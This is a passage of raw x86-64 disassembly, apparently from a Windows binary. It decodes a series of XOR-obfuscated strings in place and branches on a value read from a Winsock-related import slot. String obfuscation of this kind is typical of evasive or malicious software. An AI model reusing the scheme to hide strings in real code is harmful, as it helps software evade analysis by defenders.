lea rdx, [rbp + 0x790]
lea rcx, [rbp - 0x76]
call fcn.1400ce110
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400c4fb6
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196e78]
mov rcx, rax
call fcn.140056e10
lea rdx, [rbp + 0xe50]
lea rcx, [rbp - 0x75]
call fcn.1400ce140
mov r10, rax
cmp byte [rax + 0xf], r15b
je 0x1400c5182
mov r8d, r15d
cmp r12d, 2
jl 0x1400c5141
movdqa xmm5, xmmword [0x14016c130]
mov edx, r15d
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov ebx, Ordinal_35
movd xmm8, ebx
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, rax
mov r8d, dword [rbp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400c5040
jmp 0x1400c5187
mov r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1400c5150
mov ebx, Ordinal_35
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196f34]
mov rcx, r10
call fcn.140056e10
lea rdx, [rbp + 0xbc]
lea rcx, [rbp - 0x74]
call fcn.1400ce150
mov r10, rax
cmp byte [rax + 3], r15b
je 0x1400c5292
mov r8d, r15d
cmp r12d, 2
jl 0x1400c5257
movdqa xmm3, xmmword [0x14016c130]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14016c610]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14016c610]
shufps xmm2, xmm0, 0xdd
movd xmm0, esi
psrad xmm2, xmm0
movd xmm0, ebx
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14016c160]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14016c1e0]
movd xmm0, dword [rax]
pxor xmm2, xmm0
movd dword [rax], xmm2
jmp 0x1400c5292
mov r9, r10
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400c5260
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x64
xor r8d, r8d
lea rdx, [0x140196f20]
mov rcx, r10
call fcn.140056e10
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 3
jne 0x1400c6188
lea rdx, [rbp + 0x79b]
lea rcx, [rbp - 0x73]
call fcn.1400ce160
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400c5308
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [0x140196fdb]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x6c1]
lea rcx, [rbp - 0x72]
call fcn.1400ce190
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400c5354
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196fd7]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x6ca]
lea rcx, [rbp - 0x71]
call fcn.1400ce1b0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400c53a0
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196fd3]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0xa76]
lea rcx, [rbp - 0x70]
call fcn.1400ce1d0
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x1400c5520
mov r8d, r15d
cmp r12d, 2
jl 0x1400c54e4
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c54f0
lea rdx, [0x140196fd9]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x69d]
lea rcx, [rbp - 0x6f]
call fcn.1400ce200
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400c556c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196fc8]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0x934]
lea rcx, [rbp - 0x6e]
call fcn.1400ce220
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c56f0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c56b0
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c56c0
lea rdx, [0x140196fcc]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xa00]
lea rcx, [rbp - 0x6d]
call fcn.1400ce240
mov r10, rax
cmp byte [rax + 0xc], r15b
je 0x1400c5870
mov r8d, r15d
cmp r12d, 2
jl 0x1400c5834
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400c5840
lea rdx, [0x140196fde]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x6fb]
lea rcx, [rbp - 0x6c]
call fcn.1400ce270
movzx ecx, byte [rax + 9]
test cl, cl
je 0x1400c58c0
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor cl, 0x3d
mov byte [rax + 9], cl
lea rdx, [0x140196fd1]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp + 0xb3e]
lea rcx, [rbp - 0x6b]
call fcn.1400ce290
mov r10, rax
cmp byte [rax + 0xe], r15b
je 0x1400c5a40
mov r8d, r15d
cmp r12d, 2
jl 0x1400c5a04
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400c5a10
lea rdx, [0x140196fc6]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0xa84]
lea rcx, [rbp - 0x6a]
call fcn.1400ce2c0
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x1400c5bc0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c5b84
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c5b90
lea rdx, [0x140196fba]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x6a6]
lea rcx, [rbp - 0x69]
call fcn.1400ce2f0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400c5c0c
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor cl, 0x3c
mov byte [rax + 8], cl
lea rdx, [0x140196fe0]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x68]
call fcn.1400ce310
mov r10, rax
cmp byte [rax + 0x11], r15b
je 0x1400c5dc0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c5d87
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c5c80
cmp r8d, 0x12
jge 0x1400c5dc0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400c5d90
lea rdx, [0x140196fe3]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x10e]
lea rcx, [rbp - 0x67]
call fcn.1400ce330
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400c5e00
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
lea rdx, [0x140196fe6]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x66]
call fcn.1400ce350
mov r10, rax
cmp byte [rax + 0x14], r15b
je 0x1400c5fb0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c5f77
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c5e70
cmp r8d, 0x15
jge 0x1400c5fb0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400c5f80
lea rdx, [0x140196fd4]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x65]
call fcn.1400ce380
mov r10, rax
cmp byte [rax + 0x18], r15b
je 0x1400c6160
mov r8d, r15d
cmp r12d, 2
jl 0x1400c6127
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400c6020
cmp r8d, 0x19
jge 0x1400c6160
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400c6130
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
mov r9d, 0x1f4
xor r8d, r8d
lea rdx, [0x14018233c]
mov rcx, r10
call fcn.140056e10
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 4
jne 0x1400c70b5
lea rdx, [rbp]
lea rcx, [rbp - 0x64]
call fcn.1400ce3b0
mov r10, rax
cmp byte [rax + 0x15], r15b
je 0x1400c6330
mov r8d, r15d
cmp r12d, 2
jl 0x1400c62f8
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
